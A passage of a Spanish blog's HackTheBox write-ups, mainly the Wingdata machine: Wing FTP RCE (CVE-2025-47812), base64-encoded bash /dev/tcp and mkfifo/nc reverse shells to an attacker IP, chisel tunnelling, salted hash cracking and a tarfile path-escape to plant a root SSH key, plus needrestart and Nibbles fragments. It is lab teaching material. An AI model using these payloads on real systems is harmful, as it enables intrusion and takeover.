dándonos un shell como root. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ mkdir importlib $ echo \u0026#39;import os; os.system(\u0026#34;cp /bin/bash /tmp/poc; chmod 4755 /tmp/poc\u0026#34;)\u0026#39; \u0026gt; importlib/__init__.py $ PYTHONPATH=$PWD python3 e.py Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth: Traceback (most recent call last): File \u0026#34;/usr/lib/python3.10/site.py\u0026#34;, line 192, in addpackage exec(line) File \u0026#34;\u0026lt;string\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; ModuleNotFoundError: No module named \u0026#39;importlib.util\u0026#39; Remainder of file ignored ########################################## Don\u0026#39;t mind the error message above Waiting for needrestart to run... Desde otra sesión SSH:\n1 2 3 4 5 6 7 8 fismathack@conversor:~$ sudo /usr/sbin/needrestart Scanning processes... Scanning linux images... Running kernel seems to be up-to-date. No services need to be restarted. No containers need to be restarted. No user sessions are running outdated binaries. No VM guests are running outdated hypervisor (qemu) binaries on this host. Y de vuelta a la sesión anterior:\n1 2 3 4 5 6 7 8 9 10 ... Remainder of file ignored ########################################## Don\u0026#39;t mind the error message above Waiting for needrestart to run... Got the shell! poc-5.1# whoami root Y tenemos root.\n","date":"16 de febrero de 2026","externalUrl":null,"permalink":"/writeups/conversor/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: XSLT Injection, CVE Público, Binario needrestart","title":"HackTheBox - Conversor","type":"writeups"},{"content":" Dificultad: easy Tiempo aprox. ~5.5h Datos Iniciales: 10.129.4.246 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 nmap -sVC -sT -Pn -n -p22,80 10.129.4.246 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 11:20 -0500 Nmap scan report for 10.129.4.246 Host is up (0.045s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA) |_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519) 80/tcp open http Apache httpd 2.4.66 |_http-server-header: Apache/2.4.66 (Debian) |_http-title: Did not follow redirect to http://wingdata.htb/ Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP Puerto 80 # Al entrar al puerto 80, encontramos una página web que habla sobre compartición de archivos:\n\u0026ldquo;At Wing Data Solutions, we’re redefining how teams share and protect data online. Our encrypted platform combines speed, simplicity, and enterprise-grade security — so you can transfer files with total confidence, anywhere in the world.\u0026rdquo;\nVarios de los botones que aparecen no llevan a ningún sitio, salvo el que dice Client Portal, que nos lleva a ftp.wingdata.htb.\nDe nuevo, podíamos imaginar que existía un subdominio dado que en nmap se nos mostraba que la máquina hacía uso de vhosts (Did not follow redirect to http://wingdata.htb/), lo que hacía probable que existiesen más (si no, para qué serviría usar un vhost principal wingdata.htb?).\nAntes de entrar a ftp.wingdata.htb, probamos a enumerar otros vhosts.\n1 2 3 4 5 6 7 8 gobuster vhost --url http://wingdata.htb --wordlist /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt --append-domain --xs 301 =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== ftp.wingdata.htb Status: 200 [Size: 678] No encontramos nada más, así que de momento añadimos ftp.wingdata.htb a /etc/hosts y entramos al subdominio.\nSubdominio ftp # Al entrar a http://ftp.wingdata.htb, encontramos un panel de login de WingFTP, con versión Wing FTP Server v7.4.3. Si buscamos esta versión, vemos que es vulnerable a CVE-2025-47812 (Unauthenticated RCE).\nSegún el NVD: In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle \u0026lsquo;\\0\u0026rsquo; bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts.\nTenemos disponibles exploits públicos para esta vulnerabilidad, como este. Lo descargamos y ejecutamos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ python3 52347.py -u http://ftp.wingdata.htb [*] Testing target: http://ftp.wingdata.htb [+] http://ftp.wingdata.htb is vulnerable! $ python3 52347.py -u http://ftp.wingdata.htb -c \u0026#34;whoami\u0026#34; [*] Testing target: http://ftp.wingdata.htb [+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: \u0026#39;whoami\u0026#39; and username: \u0026#39;anonymous\u0026#39; [+] UID extracted: 984873a4a52f6bea507f0b0de77b31f2f528764d624db129b32c21fbca0cb8d6 [+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 984873a4a52f6bea507f0b0de77b31f2f528764d624db129b32c21fbca0cb8d6 --- Command Output --- wingftp ---------------------- Mediante el RCE sacamos algo de info antes de intentar conseguir un reverse shell:\nDump de /etc/passwd: usuarios interactivos root, wingftp, wacky. wingftp usa bash como shell, pero no tiene directorio en /home, sino en /opt/wingftp Ubicación del servidor web en /opt/wftpserver Intentos fallidos de Reverse Shell y SSH # Al principio intento conseguir un reverse shell mediante el RCE, pero parece no funcionar:\n1 2 3 4 5 6 7 8 9 10 11 $ cat shell bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.15.141/4444 0\u0026gt;\u0026amp;1\u0026#39; $ cat shell | base64 YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNDEvNDQ0NCAwPiYxJwo= $ python3 52347.py -u http://ftp.wingdata.htb -c \u0026#34;echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNDEvNDQ0NCAwPiYxJwo= | base64 -d | bash 2\u0026gt;/dev/null\u0026#34; ... --- Command Output --- session expired ---------------------- Pasado un rato probando alternativas de revshell, pruebo a crear un par de claves de ssh, dado que, aunque el usuario wingftp no tiene directorio en /home sí tiene uno en opt/wingftp, es posible crearlas sin necesitar permisos sudo.\n1 2 3 4 5 6 7 8 $ cat wingdataKEY.pub| base64 c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUJmSDdibXZTbEVGWEZqd3piWSs4N0wwdjhPVS94TmlJQ1JxNUVMOFdJVzYga2FsaUBrYWxpCg== $ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c \u0026#39;mkdir -p /opt/wingftp/.ssh \u0026amp;\u0026amp; echo c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUJmSDdibXZTbEVGWEZqd3piWSs4N0wwdjhPVS94TmlJQ1JxNUVMOFdJVzYga2FsaUBrYWxpCg== | base64 -d \u0026gt;\u0026gt; /opt/wingftp/.ssh/authorized_keys\u0026#39; --- Command Output --- session expired ---------------------- Tampoco parece funcionar.\nIntento exitoso de Reverse Shell # Tras intentarlo un rato largo (~1h) intentando distintas configuraciones y evitando comillas y caracteres especiales, pruebo a hacer URL encoding de todo el payload:\nTomo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2\u0026gt;\u0026amp;1|nc 10.10.15.141 4444 \u0026gt;/tmp/f y lo paso a base64: 1 $ echo \u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2\u0026gt;\u0026amp;1|nc 10.10.15.141 4444 \u0026gt;/tmp/f\u0026#39; | base64 Creo el payload con el reverse shell dentro en base64: 1 $ echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE1LjE0MSA0NDQ0ID4vdG1wL2YK | base64 -d | bash \u0026amp; disown Encodeo todo a url (con [URLEncoder]](https://www.urlencoder.org/)), queda: 1 echo%20cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE1LjE0MSA0NDQ0ID4vdG1wL2YK%20%7C%20base64%20-d%20%7C%20bash%20%26%20disown Mandamos el payload: 1 2 $ python3 52347.py -u http://ftp.wingdata.htb -c \u0026#39;echo%20cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE1LjE0MSA0NDQ0ID4vdG1wL2YK%20%7C%20base64%20-d%20%7C%20bash%20%26%20disown\u0026#39; ... Mientras tanto, en otra terminal: 1 2 3 4 5 6 7 8 9 10 $ penelope -i 10.10.15.141 [+] Listening for reverse shells on 10.10.15.141:4444 ➤ Main Menu (m) Payloads (p) Clear (Ctrl-L) Quit (q/Ctrl-C) [+] Got reverse shell from wingdata~10.129.5.169-Linux-x86_64 Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/local/bin/python3! [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 wingftp@wingdata:/opt/wftpserver$ whoami wingftp Privesc # Al entrar, vemos que somos el usuario wingftp, que el flag de user está (seguramente) en /home/wacky, directorio para el que no tenemos permisos, y que nuestro directorio $HOME /opt/wingftp no existía.\nAl ejecutar LinPEAS, aparecen bastantes datos marcados como 95%PE que parecen ser falsos positivos y LinPEAS marcándose a sí mismo, así que nos centramos en los puertos abiertos:\n1 2 3 4 5 6 7 tcp 0 0 0.0.0.0:43143 0.0.0.0:* LISTEN 3555/wftpserver tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:5466 0.0.0.0:* LISTEN 3555/wftpserver tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 3555/wftpserver tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 :::5466 :::* LISTEN 3555/wftpserver De aquí destacan 2 puertos: 0.0.0.0:5466 (según Internet, el panel de administración de WinFTP), Y 127.0.0.1:8080 (Un posible servidor web, aunque no lo sabemos).\nPuerto 5466 - Panel Admin # Aunque el 5466 está en escucha en todas las interfaces, es posible que haya un firewall bloqueando las conexiones entrantes de fuera a este puerto, pues en el análisis inicial no ha aparecido y si intentamos conectarnos ahora tampoco podemos, solo si hacemos curl desde la propia máquina a través del reverse shell.\nComo el directorio $HOME de nuestro usuario no existe y no tenemos permisos para crearlo, no podemos crear claves SSH y no podemos hacer port forwarding directo, aunque podemos intentar hacerlo de forma inversa abriendo un servidor ssh en nuestra máquina kali:\nDesde la máquina vulnerable:\n1 2 ssh -N -R 5466:127.0.0.1:5466 kali@10.10.15.141 # Se queda pillado y no pide contraseña No parece funcionar, quizás por algún problema con el reverse shell no puede pedir la contraseña y no podemos hacer el túnel. Probamos con otra herramienta para lo mismo, chisel.\nMovemos chisel a la máquina vulnerable:\n1 2 3 4 5 6 7 8 9 10 11 12 13 wingftp@wingdata:/tmp/tests$ wget http://10.10.15.141:8000/chisel_bin --2026-02-15 14:04:53-- http://10.10.15.141:8000/chisel_bin Connecting to 10.10.15.141:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 10240184 (9.8M) [application/octet-stream] Saving to: ‘chisel_bin’ chisel_bin 100%[==========================================================================================================\u0026gt;] 9.77M 5.85MB/s in 1.7s 2026-02-15 14:04:55 (5.85 MB/s) - ‘chisel_bin’ saved [10240184/10240184] wingftp@wingdata:/tmp/tests$ ls chisel_bin Ponemos nuestra máquina en escucha:\n1 2 3 4 5 ./chisel_bin server -p 8000 --reverse 2026/02/15 14:06:17 server: Reverse tunnelling enabled 2026/02/15 14:06:17 server: Fingerprint GpgQ+i2sPNotNKr/DctUl6X3k7GirxJDxNtXxQtuwhI= 2026/02/15 14:06:17 server: Listening on http://0.0.0.0:8000 2026/02/15 14:06:42 server: session#1: tun: proxy#R:5466=\u0026gt;5466: Listening Y conectamos desde el servidor:\n1 2 3 4 wingftp@wingdata:/tmp/tests$ chmod +x chisel_bin wingftp@wingdata:/tmp/tests$ ./chisel_bin client 10.10.15.141:8000 R:5466:127.0.0.1:5466 2026/02/15 14:06:42 client: Connecting to ws://10.10.15.141:8000 2026/02/15 14:06:42 client: Connected (Latency 38.505876ms) Y aquí llegamos al panel de admin.\nNecesitamos credenciales, así que las buscamos en el dispositivo. Tras una búsqueda, encontramos los archivos admins.xml, anonymous.xml, john.xml, maria.xml, steve.xml y wacky.xml:\n1 2 3 4 5 6 7 wingftp@wingdata:/opt/wftpserver$ grep -r \u0026#39;\u0026lt;/Password\u0026gt;\u0026#39; Data/_ADMINISTRATOR/admins.xml: \u0026lt;Password\u0026gt;a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba\u0026lt;/Password\u0026gt; Data/1/users/maria.xml: \u0026lt;Password\u0026gt;a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03\u0026lt;/Password\u0026gt; Data/1/users/steve.xml: \u0026lt;Password\u0026gt;5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca\u0026lt;/Password\u0026gt; Data/1/users/wacky.xml: \u0026lt;Password\u0026gt;32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca\u0026lt;/Password\u0026gt; Data/1/users/anonymous.xml: \u0026lt;Password\u0026gt;d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca\u0026lt;/Password\u0026gt; Data/1/users/john.xml: \u0026lt;Password\u0026gt;c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10\u0026lt;/Password\u0026gt; WingFTP usa SHA256, la intentamos crackear con jtr y desde CrackStation, pero no da resultados:\n1 2 3 4 5 6 7 8 $ john hashes --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 Using default input encoding: UTF-8 Loaded 6 password hashes with no different salts (Raw-SHA256 [SHA256 512/512 AVX512BW 16x]) Warning: poor OpenMP scalability for this hash type, consider --fork=8 Will run 8 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status 0g 0:00:00:00 DONE (2026-02-15 14:18) 0g/s 35858Kp/s 35858Kc/s 71716KC/s 02122271335..*7¡Vamos! Session completed. Pasadas unas horas, se me ocurre que (dado que no había avanzado nada más) posiblemente no hubiésemos podido crackear las contraseñas porque había un salt a la hora de hashear que no habíamos visto (y que quizás aplicaba para todas las contraseñas por igual, por eso no salía explícitamente en el hash de cada usuario).\nBuscando en los archivos, encuentro lo siguiente:\n1 2 3 wingftp@wingdata:/opt/wftpserver/Data/1$ grep \u0026#34;Salting\u0026#34; settings.xml \u0026lt;EnablePasswordSalting\u0026gt;1\u0026lt;/EnablePasswordSalting\u0026gt; \u0026lt;SaltingString\u0026gt;WingFTP\u0026lt;/SaltingString\u0026gt; Tenemos el salt WingFTP, tenemos los hashes, posiblemente ahora podamos crackearlos, aunque necesitamos saber cómo se aplica el salt al hashear. Hay varios formatos válidos en jtr, lo normal es que sea salt,hash o hash,salt. Como, para probar, jtr necesita que le demos hash y salt en el formato HASH$SALT, creamos el archivo:\n1 2 3 4 5 6 7 8 9 10 11 12 $ sed -i \u0026#39;s/$/$WingFTP/\u0026#39; hashes $ cat hashes a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba$WingFTP ...[SNIP]... $ john hashes --format=dynamic_62 --wordlist=/usr/share/wordlists/rockyou.txt Loaded 6 password hashes with no different salts (dynamic_62 [sha256($p.$s) 512/512 AVX512BW 16x]) Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status !#7Blushing^*Bride5 (?) 2g 0:00:00:00 DONE (2026-02-15 15:52) 2.325g/s 16678Kp/s 16678Kc/s 83401KC/s !JD021803..*7¡Vamos! Session completed. Y tenemos la contraseña !#7Blushing^*Bride5, que corresponde al hash 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca, del usuario wacky.\nDado que, como hemos visto al enumerar, este usuario es el que también existe como usuario del SO, probamos a conectarnos por SSH por si se reutilizan contraseñas.\nConexión por SSH, Wacky # 1 2 3 4 5 6 7 8 $ ssh wacky@ftp.wingdata.htb The authenticity of host \u0026#39;ftp.wingdata.htb (10.129.5.169)\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;ftp.wingdata.htb\u0026#39; (ED25519) to the list of known hosts. wacky@ftp.wingdata.htb\u0026#39;s password: wacky@wingdata:~$ Como wacky, ejecutamos sudo -l y vemos lo siguiente:\n1 2 3 4 5 6 wacky@wingdata:~$ sudo -l Matching Defaults entries for wacky on wingdata: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py * Al mirar el archivo .py, vemos que se trata de un programa que permite restaurar configuraciones de clientes desde un archivo .tar validado.\nScript restore_cackup_clients.py # Vemos que el script hace lo siguiente:\nPrimero establece una serie de rutas 1 2 3 4 BACKUP_BASE_DIR = \u0026#34;/opt/backup_clients/backups\u0026#34; # directorio donde deben existir los backups. STAGING_BASE = \u0026#34;/opt/backup_clients/restored_backups\u0026#34; # directorio base donde se restaurarán los archivos. Define dos argumentos obligatorios -b / --backup: Nombre del archivo backup -r / --restore: Nombre del directorio donde se restaurará el contenido Valida nombre del backup, formar ruta absoluta del backup y verificar que existe 1 2 3 4 5 6 7 8 9 if not validate_backup_name(args.backup): # El nombre debe tener el siguiente formato: \u0026#34;backup_\u0026lt;Integer\u0026gt;.tar\u0026#34;, con \u0026lt;Integer\u0026gt; != 0 ... # Ruta absoluta backup_path = os.path.join(BACKUP_BASE_DIR, args.backup) # Ver si existe if not os.path.isfile(backup_path): ... Valida restore_dir 1 2 3 4 if not validate_restore_tag(tag): print(\u0026#34;[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores\u0026#34;, file=sys.stderr) sys.exit(1) # restore_dir debe tener el siguiente formato: \u0026#34;restore_\u0026lt;tag\u0026gt;\u0026#34;, con \u0026lt;tag\u0026gt; siendo de 1-24 caracteres y solo con letras, dígitos y guiones bajos (_). Crea directorio de staging (si no existe todavía) 1 2 3 4 5 staging_dir = os.path.join(STAGING_BASE, args.restore_dir) # P.ej: /opt/backup_clients/restored_backups/restore_wacky7 # Crear directorio, si existe da igual (no da error). os.makedirs(staging_dir, exist_ok=True) Extrae el archivo .tar 1 2 3 with tarfile.open(backup_path, \u0026#34;r\u0026#34;) as tar: tar.extractall(path=staging_dir, filter=\u0026#34;data\u0026#34;) ... En resumen:\nTienes un archivo en /opt/backup_clients/backups/, p.ej backup_1234.tar, con configuraciones previamente guardadas. El archivo .tar se extrae en la carpeta de Staging: /opt/backup_clients/restored_backups/\u0026lt;restore_dir\u0026gt;, p.ej restore_wacky/ Si miramos el programa, vemos que podríamos usar /opt/backup_clients/restored_backups/ y crear un enlace simbólico ahí que apuntase a, p.ej, /root/.ssh/, para luego crear un tarball con nuestra clave pública ssh y hacer que el programa lo extrayese. El único inconveniente con esto es que no tenemos permisos de escritura en /opt/backup_clients/restored_backups/.\nComo no podemos hacer mucho, miramos si el problema está en python más que en el script en sí:\n1 2 wacky@wingdata:/opt/backup_clients/restored_backups$ python3 --version Python 3.12.3 Si hacemos una búsqueda rápida:\nPython 3.12.3 contains multiple vulnerabilities in the tarfile module that allow attackers to modify files or permissions outside the extraction directory, which can lead to privilege escalation.\nLas principales: CVE-2024-12718, CVE-2025-4517, CVE-2025-4138\nCVE-2024-12718: Si el módulo tar usa filter='tar', podemos cambiar permisos de archivos, en este caso se usa 'data' así que lo descartamos. CVE-2025-4517 y CVE-2025-4138 usan prácticamente la misma técnica de explotación, CVE-2025-4138 / CVE-2025-4517 # Tenemos disponible un PoC público que explica las vulnerabilidades, podemos basarnos en él para construir uno que haga lo mismo:\nLa explotación consiste en lo siguiente: En un python completamente vulnerable, si estuviésemos limitados a un directorio específico y no pudiésemos subir arriba de forma relativa (..) o absoluta (/), sería posible crear un .tar con un symlink que, p.ej, apuntase a /, para que luego todo lo que se descomprimiese del .tar, se crease en una ruta a partir del symlink, es decir, a partir de / (p.ej, copiar nuestra clave pública a /root/authorized_keys).\nEl problema que tiene esto es que en nuestro script, el filtro data en:\n1 2 ... tar.extractall(path=staging_dir, filter=\u0026#34;data\u0026#34;) vería, tras resolver nuestro symlink malicioso, que la ruta real es / (o .. si lo usásemos) y nos indicaría que no está permitido realizar esa operación porque está fuera de nuestros límites.\nEsto lo podemos aprovechar usando un problema que tiene Python en esta versión:\nEl SO tiene un límite llamado PATH_MAX (Normalmente, según el PoC, de 4096 bytes), cuando Python intenta averiguar a dónde va un archivo realmente, usa os.path.realpath(), que resuelve los enlaces. Si creamos un string que, al resolverse, supera los 4096B, os.path.realpath() deja de resolver al saturarse. El filtro data mira la ruta \u0026ldquo;a medio resolver\u0026rdquo;, como no ha terminado aún, no apunta a / y no hay problema, se la pasa al kernel para que escriba el archivo. El kernel tiene límites más amplios, cuando recoge la ruta, resuelve la ruta completa, y el archivo escapa. Con el objetivo de copiar nuestra clave pública a /root/.ssh/authorized_keys, primero creamos el par de claves:\n1 2 3 4 5 6 7 8 9 10 $ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./wingdataKey Enter passphrase for \u0026#34;./wingdataKey\u0026#34; (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./wingdataKey Your public key has been saved in ./wingdataKey.pub $ cat wingdataKey.pub ssh-rsa AAA...[SNIP]...q/0V9E= kali@kali Ahora tomamos un PoC encargado de hacer esto y lo ejecutamos\n1 2 3 4 5 6 7 8 9 10 11 $ python3 exploit_gen.py --preset ssh-key --payload ./wingdataKey.pub --tar-out backup_999.tar [+] Exploit tar: backup_999.tar [+] Target: /root/.ssh/authorized_keys [+] Payload size: 563 bytes $ cp backup_999.tar /opt/backup_clients/backups/ $ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_999.tar -r restore_test [+] Backup: backup_999.tar [+] Staging directory: /opt/backup_clients/restored_backups/restore_test [+] Extraction completed in /opt/backup_clients/restored_backups/restore_test Desde nuestra máquina:\n1 2 3 4 5 $ ssh -i wingdataKey root@wingdata.htb Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64 Last login: Mon Feb 16 11:17:46 2026 from 10.10.15.141 root@wingdata:~# Y somos root.\n","date":"16 de febrero de 2026","externalUrl":null,"permalink":"/writeups/wingdata/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: WingFTP, CVE Público, Tarfiles","title":"HackTheBox - Wingdata","type":"writeups"},{"content":"","date":"16 de febrero de 2026","externalUrl":null,"permalink":"/tags/needrestart/","section":"Tags","summary":"","title":"Needrestart","type":"tags"},{"content":"","date":"16 de febrero de 2026","externalUrl":null,"permalink":"/tags/tar/","section":"Tags","summary":"","title":"Tar","type":"tags"},{"content":"","date":"16 de febrero de 2026","externalUrl":null,"permalink":"/tags/wingftp/","section":"Tags","summary":"","title":"WingFTP","type":"tags"},{"content":"","date":"16 de febrero de 2026","externalUrl":null,"permalink":"/tags/xslt-injection/","section":"Tags","summary":"","title":"XSLT Injection","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. 3h Datos Iniciales: 10.129.96.84 Nmap Scan y enumeración # Tras realizar un escaneo nmap, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 11 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel #Nada en UDP Vemos que la máquina ejecuta Ubuntu.\nTCP/22: OpenSSH 7.2p2, versión sin vulnerabilidades relevantes (solo una de username enum.). Tras comprobar con ssh -v, vemos que los métodos de auth posibles son publickey,password. TCP/80: Apache httpd 2.4.18, versión con varias vulnerabilidades críticas. CVE-2019-0211: Potencial elevación de privilegios, a tener en cuenta más adelante. (En ExploitDB) Algunas más (de hecho, bastantes.) HTTP # Al entrar al puerto 80, vemos una página que dice \u0026ldquo;Hello world!\u0026rdquo;. Además, dado que el servicio (en el scan nmap) no nos ha redirigido a ningún dominio o vhost, no es viable enumerar subdominios porque el muy probable que el servidor no sirva nada diferente en función del subdominio. De momento, la única alternativa es enumerar directorios y archivos en el servidor.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ffuf -u http://10.129.96.84/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ic /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://10.129.96.84/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 [Status: 200, Size: 93, Words: 8, Lines: 17, Duration: 38ms] server-status [Status: 403, Size: 300, Words: 22, Lines: 12, Duration: 2154ms] Solo encontramos un elemento, server-status, que no nos da ninguna información. Al mirar el código fuente de la página por defecto, encontramos lo siguiente:\n1 2 3 4 \u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body\u0026gt;\u0026lt;b\u0026gt;Hello world!\u0026lt;/b\u0026gt; ...[snip]... \u0026lt;!-- /nibbleblog/ directory. Nothing interesting here! --\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; Así que vamos al directorio /nibbleblog/.\nNibbleblog # Una vez en /nibbleblog, encontramos lo que parece ser un blog. whatweb nos da la siguiente info:\n1 2 $ whatweb http://10.129.96.84/nibbleblog/ http://10.129.96.84/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.96.84], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum] La página parece estar hecha con Nibbleblog.\nSegún Hostsuar,Nibbleblog es un sistema de gestión de blogs (CMS) pensado para quienes buscan algo sencillo, rápido y fácil de instalar. No necesitas bases de datos como MySQL, ya que toda la información se guarda en archivos XML.\nAl buscar directorios aquí, si encontramos cosas:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ gobuster dir -u http://10.129.96.84/nibbleblog -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.96.84/nibbleblog [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== content (Status: 301) [Size: 325] [--\u0026gt; http://10.129.96.84/nibbleblog/content/] themes (Status: 301) [Size: 324] [--\u0026gt; http://10.129.96.84/nibbleblog/themes/] admin (Status: 301) [Size: 323] [--\u0026gt; http://10.129.96.84/nibbleblog/admin/] plugins (Status: 301) [Size: 325] [--\u0026gt; http://10.129.96.84/nibbleblog/plugins/] languages (Status: 301) [Size: 327] [--\u0026gt; http://10.129.96.84/nibbleblog/languages/] Vamos mirando poco a poco los subdirectorios. En /content/ vemos que tenemos permisos de lectura, por lo que podemos enumerar todo. De primeras encontramos lo siguiente:\n1 2 3 private/ public/ tmp/ En tmp no hay nada, en public solo hay directorios con imágenes, pero en private:\n1 2 3 4 5 6 7 8 9 10 11 [ ]\tcategories.xml\t2017-12-10 22:52 325 [ ]\tcomments.xml\t2017-12-10 22:52 431 [ ]\tconfig.xml\t2017-12-10 22:52 1.9K\t[ ]\tkeys.php\t2017-12-10 12:20 191 [ ]\tnotifications.xml\t2017-12-29 05:42 1.1K\t[ ]\tpages.xml\t2017-12-28 15:59 95 [DIR] plugins/\t2017-12-10 23:27 - [ 